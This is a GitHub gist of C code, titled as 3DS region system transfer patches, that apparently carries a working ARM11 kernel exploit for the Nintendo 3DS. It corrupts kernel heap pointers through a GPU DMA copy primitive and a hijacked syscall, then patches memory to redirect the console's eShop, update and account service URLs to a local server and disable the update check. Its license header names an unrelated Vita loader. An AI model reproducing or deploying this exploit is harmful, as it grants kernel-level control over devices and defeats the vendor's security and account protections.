Skip to content

Instantly share code, notes, and snippets.

@yifanlu
Created June 9, 2015 18:54
Show Gist options
  • Save yifanlu/b59b6d83d11bdb244cbd to your computer and use it in GitHub Desktop.
Save yifanlu/b59b6d83d11bdb244cbd to your computer and use it in GitHub Desktop.
3DS region system transfer patches for O3DS
/*
* uvloader.c - Userland Vita Loader entry point
* Copyright 2012 Yifan Lu
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
#define START_SECTION __attribute__ ((section (".text.start"), naked))
// make sure code is PIE
#ifndef __PIE__
#error "Must compile with -fPIE"
#endif
typedef unsigned int u32_t;
#define NULL (void*)0
#define FCRAM_BASE_START 0xE6400000
#define FCRAM_BASE_SIZE 0x01400000+0x00800000
#define EC_URL_1_OFFSET 0x0//0x710E1BC
#define EC_URL_2_OFFSET 0x377//0x710E533
#define NU_URL_1_OFFSET 0x338//0x710E4F4
#define NIM_UPDATE_PATCH 0xfb6c//0x711DD28
#define EC_URL "https://ecs.c.shop.nintendowifi.net/ecs/services/ECommerceSOAP"
#define EC_URL_REPLACE "http://ip:8888/ECommerceSOAP"
#define NU_URL_REPLACE "http://ip:8888/NetUpdateSOAP"
#define NA_URL "https://%s%saccount.nintendo.net/v1/api/"
#define NA_URL_REPLACE "http://ip:8888/%s%sa/"
const char nim_no_update[] = {0x00, 0x20, 0x08, 0x60, 0x70, 0x47};
int (*IFile_Open)(void *this, const short *path, int flags) = 0x0022FE08;
int (*IFile_Write)(void *this, unsigned int *written, void *src, unsigned int len) = 0x00168764;
int (*memcpy)(void *dst, const void *src, unsigned int len) = 0x0023FF9C;
int (*GX_SetTextureCopy)(void *input_buffer, void *output_buffer, unsigned int size, int in_x, int in_y, int out_x, int out_y, int flags) = 0x0011DD48;
int (*GSPGPU_FlushDataCache)(void *addr, unsigned int len) = 0x00191504;
int (*svcSleepThread)(unsigned long long nanoseconds) = 0x0023FFE8;
int (*svcControlMemory)(void **outaddr, unsigned int addr0, unsigned int addr1, unsigned int size, int operation, int permissions) = 0x001431A0;
int uvl_entry();
/********************************************//**
* \brief Starting point from exploit
*
* Call this from your exploit to run UVLoader.
* It will first cache all loaded modules and
* attempt to resolve its own NIDs which
* should only depend on sceLibKernel.
* \returns Zero on success, otherwise error
***********************************************/
int START_SECTION
uvl_start ()
{
__asm__ volatile (".word 0xE1A00000");
uvl_entry();
__asm__ volatile ("bx lr");
}
int
do_gshax_copy (void *dst, void *src, unsigned int len)
{
int i = 5;
do
{
memcpy (0x18401000, 0x18401000, 0x10000);
GSPGPU_FlushDataCache (src, len);
// src always 0x18402000
GX_SetTextureCopy(src, dst, len, 0, 0, 0, 0, 8);
GSPGPU_FlushDataCache (0x18401000, 16);
GX_SetTextureCopy(dst, 0x18401000, 0x40, 0, 0, 0, 0, 8);
memcpy(0x18401000, 0x18401000, 0x10000);
} while (i --> 0);
return 0;
}
// heap fixing thanks to Myria
int
arm11_kernel_exploit_setup (void)
{
void *this = 0x08F10000;
unsigned int patch_addr;
unsigned int *arm11_buffer = 0x18402000;
int i;
int (*nop_func)(void);
int *ipc_buf;
int model;
patch_addr = 0xDFF83837;
// Part 1: corrupt kernel memory
unsigned int mem_hax_mem;
svcControlMemory(&mem_hax_mem, 0, 0, 0x6000, 0x10003, 1 | 2);
unsigned int tmp_addr;
svcControlMemory(&tmp_addr, mem_hax_mem + 0x4000, 0, 0x1000, 1, 0); // free page
svcControlMemory(&tmp_addr, mem_hax_mem + 0x1000, 0, 0x2000, 1, 0); // free page
unsigned int saved_heap_3[8];
do_gshax_copy(arm11_buffer, mem_hax_mem + 0x1000, 0x20u);
memcpy(saved_heap_3, arm11_buffer, sizeof(saved_heap_3));
unsigned int saved_heap_2[8];
do_gshax_copy(arm11_buffer, mem_hax_mem + 0x4000, 0x20u);
memcpy(saved_heap_2, arm11_buffer, sizeof(saved_heap_2));
svcControlMemory(&tmp_addr, mem_hax_mem + 0x1000, 0, 0x2000, 0x10003, 1 | 2);
svcControlMemory(&tmp_addr, mem_hax_mem + 0x2000, 0, 0x1000, 1, 0); // free page
do_gshax_copy(arm11_buffer, mem_hax_mem + 0x2000, 0x20u);
unsigned int saved_heap[8];
memcpy(saved_heap, arm11_buffer, sizeof(saved_heap));
arm11_buffer[0] = 1;
arm11_buffer[1] = patch_addr;
arm11_buffer[2] = 0;
arm11_buffer[3] = 0;
// Overwrite free pointer
do_gshax_copy(mem_hax_mem + 0x2000, arm11_buffer, 0x10u);
// Trigger write to kernel
svcControlMemory(&tmp_addr, mem_hax_mem + 0x1000, 0, 0x1000, 1, 0);
memcpy(arm11_buffer, saved_heap_3, sizeof(saved_heap_3));
do_gshax_copy(mem_hax_mem + 0x1000, arm11_buffer, 0x20u);
memcpy(arm11_buffer, saved_heap_2, sizeof(saved_heap_2));
do_gshax_copy(mem_hax_mem + 0x4000, arm11_buffer, 0x20u);
// part 2: obfuscation or trick to clear code cache
for (i = 0; i < 0x1000; i++)
{
arm11_buffer[i] = 0xE1A00000; // ARM NOP instruction
}
arm11_buffer[i-1] = 0xE12FFF1E; // ARM BX LR instruction
nop_func = 0x009D2000 - 0x10000; // 0x10000 below current code
do_gshax_copy(0x19592000 - 0x10000, arm11_buffer, 0x10000);
nop_func ();
/*
// part 3: get console model for future use (?)
__asm__ ("mrc p15,0,%0,c13,c0,3\t\n"
"add %0, %0, #128\t\n" : "=r" (ipc_buf));
ipc_buf[0] = 0x50000;
__asm__ ("mov r4, %0\t\n"
"mov r0, %1\t\n"
"ldr r0, [r0]\t\n"
"svc 0x32\t\n" :: "r" (ipc_buf), "r" (0x3DAAF0) : "r0", "r4");
if (ipc_buf[1])
{
model = ipc_buf[2] & 0xFF;
}
else
{
model = -1;
}
*(int *)0x8F01028 = model;
*/
return 0;
}
// after running setup, run this to execute func in ARM11 kernel mode
int __attribute__((naked))
arm11_kernel_exploit_exec (int (*func)(void))
{
__asm__ ("svc 8\t\n" // CreateThread syscall, corrupted, args not needed
"bx lr\t\n");
}
void
invalidate_icache (void)
{
__asm__ ("mcr p15,0,%0,c7,c5,0\t\n"
"mcr p15,0,%0,c7,c5,4\t\n"
"mcr p15,0,%0,c7,c5,6\t\n"
"mcr p15,0,%0,c7,c10,4\t\n" :: "r" (0));
}
void
invalidate_dcache (void)
{
__asm__ ("mcr p15,0,%0,c7,c14,0\t\n"
"mcr p15,0,%0,c7,c10,4\t\n" :: "r" (0));
}
int
memcpy_ (char *dst, const char *src, int size)
{
while (size)
{
*dst++ = *src++;
size--;
}
return size;
}
#define ALPHABET_LEN 255
#define NOT_FOUND patlen
#define max(a, b) ((a < b) ? b : a)
void make_delta1(int *delta1, char *pat, int patlen);
int is_prefix(char *word, int wordlen, int pos);
int suffix_length(char *word, int wordlen, int pos);
void make_delta2(int *delta2, char *pat, int patlen);
char* boyer_moore (char *string, u32_t stringlen, char *pat, u32_t patlen);
// delta1 table: delta1[c] contains the distance between the last
// character of pat and the rightmost occurence of c in pat.
// If c does not occur in pat, then delta1[c] = patlen.
// If c is at string[i] and c != pat[patlen-1], we can
// safely shift i over by delta1[c], which is the minimum distance
// needed to shift pat forward to get string[i] lined up
// with some character in pat.
// this algorithm runs in alphabet_len+patlen time.
void make_delta1(int *delta1, char *pat, int patlen) {
int i;
for (i=0; i < ALPHABET_LEN; i++) {
delta1[i] = NOT_FOUND;
}
for (i=0; i < patlen-1; i++) {
delta1[pat[i]] = patlen-1 - i;
}
}
// true if the suffix of word starting from word[pos] is a prefix
// of word
int is_prefix(char *word, int wordlen, int pos) {
int i;
int suffixlen = wordlen - pos;
// could also use the strncmp() library function here
for (i = 0; i < suffixlen; i++) {
if (word[i] != word[pos+i]) {
return 0;
}
}
return 1;
}
// length of the longest suffix of word ending on word[pos].
// suffix_length("dddbcabc", 8, 4) = 2
int suffix_length(char *word, int wordlen, int pos) {
int i;
// increment suffix length i to the first mismatch or beginning
// of the word
for (i = 0; (word[pos-i] == word[wordlen-1-i]) && (i < pos); i++);
return i;
}
// delta2 table: given a mismatch at pat[pos], we want to align
// with the next possible full match could be based on what we
// know about pat[pos+1] to pat[patlen-1].
//
// In case 1:
// pat[pos+1] to pat[patlen-1] does not occur elsewhere in pat,
// the next plausible match starts at or after the mismatch.
// If, within the substring pat[pos+1 .. patlen-1], lies a prefix
// of pat, the next plausible match is here (if there are multiple
// prefixes in the substring, pick the longest). Otherwise, the
// next plausible match starts past the character aligned with
// pat[patlen-1].
//
// In case 2:
// pat[pos+1] to pat[patlen-1] does occur elsewhere in pat. The
// mismatch tells us that we are not looking at the end of a match.
// We may, however, be looking at the middle of a match.
//
// The first loop, which takes care of case 1, is analogous to
// the KMP table, adapted for a 'backwards' scan order with the
// additional restriction that the substrings it considers as
// potential prefixes are all suffixes. In the worst case scenario
// pat consists of the same letter repeated, so every suffix is
// a prefix. This loop alone is not sufficient, however:
// Suppose that pat is "ABYXCDEYX", and text is ".....ABYXCDEYX".
// We will match X, Y, and find B != E. There is no prefix of pat
// in the suffix "YX", so the first loop tells us to skip forward
// by 9 characters.
// Although superficially similar to the KMP table, the KMP table
// relies on information about the beginning of the partial match
// that the BM algorithm does not have.
//
// The second loop addresses case 2. Since suffix_length may not be
// unique, we want to take the minimum value, which will tell us
// how far away the closest potential match is.
void make_delta2(int *delta2, char *pat, int patlen) {
int p;
int last_prefix_index = patlen-1;
// first loop
for (p=patlen-1; p>=0; p--) {
if (is_prefix(pat, patlen, p+1)) {
last_prefix_index = p+1;
}
delta2[p] = last_prefix_index + (patlen-1 - p);
}
// second loop
for (p=0; p < patlen-1; p++) {
int slen = suffix_length(pat, patlen, p);
if (pat[p - slen] != pat[patlen-1 - slen]) {
delta2[patlen-1 - slen] = patlen-1 - p + slen;
}
}
}
char* boyer_moore (char *string, u32_t stringlen, char *pat, u32_t patlen) {
int i;
int delta1[ALPHABET_LEN];
int delta2[patlen * sizeof(int)];
make_delta1(delta1, pat, patlen);
make_delta2(delta2, pat, patlen);
i = patlen-1;
while (i < stringlen) {
int j = patlen-1;
while (j >= 0 && (string[i] == pat[j])) {
--i;
--j;
}
if (j < 0) {
return (string + i+1);
}
i += max(delta1[string[i]], delta2[j]);
}
return NULL;
}
/********************************************//**
* \brief Search for a string in memory
*
* Uses the Boyer-Moore algorithm to search.
* \returns First occurrence of @a needle in
* @a haystack
***********************************************/
char*
memstr (char *haystack, ///< Where to search
int h_length, ///< Length of @a haystack
char *needle, ///< String to find
int n_length) ///< Length of @a needle
{
return boyer_moore (haystack, h_length, needle, n_length);
}
int __attribute__((naked))
patch_nim (void)
{
__asm__ ("add sp, sp, #8\t\n"
"stmfd sp!,{r0-r12,lr}\t\n");
// fix up memory
*(int*)(0xDFF83837+8) = 0x8DD00CE5;
invalidate_icache ();
invalidate_dcache ();
*(char**)0x18410000 = memstr(FCRAM_BASE_START, FCRAM_BASE_SIZE, EC_URL, sizeof(EC_URL));
if (*(char**)0x18410000)
{
memcpy_(*(char**)0x18410000+EC_URL_1_OFFSET, EC_URL_REPLACE, sizeof(EC_URL_REPLACE));
memcpy_(*(char**)0x18410000+EC_URL_2_OFFSET, EC_URL_REPLACE, sizeof(EC_URL_REPLACE));
memcpy_(*(char**)0x18410000+NU_URL_1_OFFSET, NU_URL_REPLACE, sizeof(NU_URL_REPLACE));
memcpy_(*(char**)0x18410000+NIM_UPDATE_PATCH, nim_no_update, sizeof(nim_no_update));
}
*(char**)0x18410000 = memstr(FCRAM_BASE_START, FCRAM_BASE_SIZE, NA_URL, sizeof(NA_URL));
if (*(char**)0x18410000)
{
memcpy_(*(char**)0x18410000, NA_URL_REPLACE, sizeof(NA_URL_REPLACE));
}
__asm__ volatile ("ldmfd sp!,{r0-r12,lr}\t\n"
"movs r0, #0 \t\n"
"ldr pc, [sp], #4 \t\n");
}
/********************************************//**
* \brief Entry point of UVLoader
*
* \returns Zero on success, otherwise error
***********************************************/
int
uvl_entry ()
{
arm11_kernel_exploit_setup ();
arm11_kernel_exploit_exec (patch_nim);
__asm__ ("svc #9");
return 0;
}
/********************************************//**
* \brief Exiting point for loaded application
*
* This hooks on to exit() call and cleans up
* after the application is unloaded.
* \returns Zero on success, otherwise error
***********************************************/
int
uvl_exit (int status)
{
return 0;
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment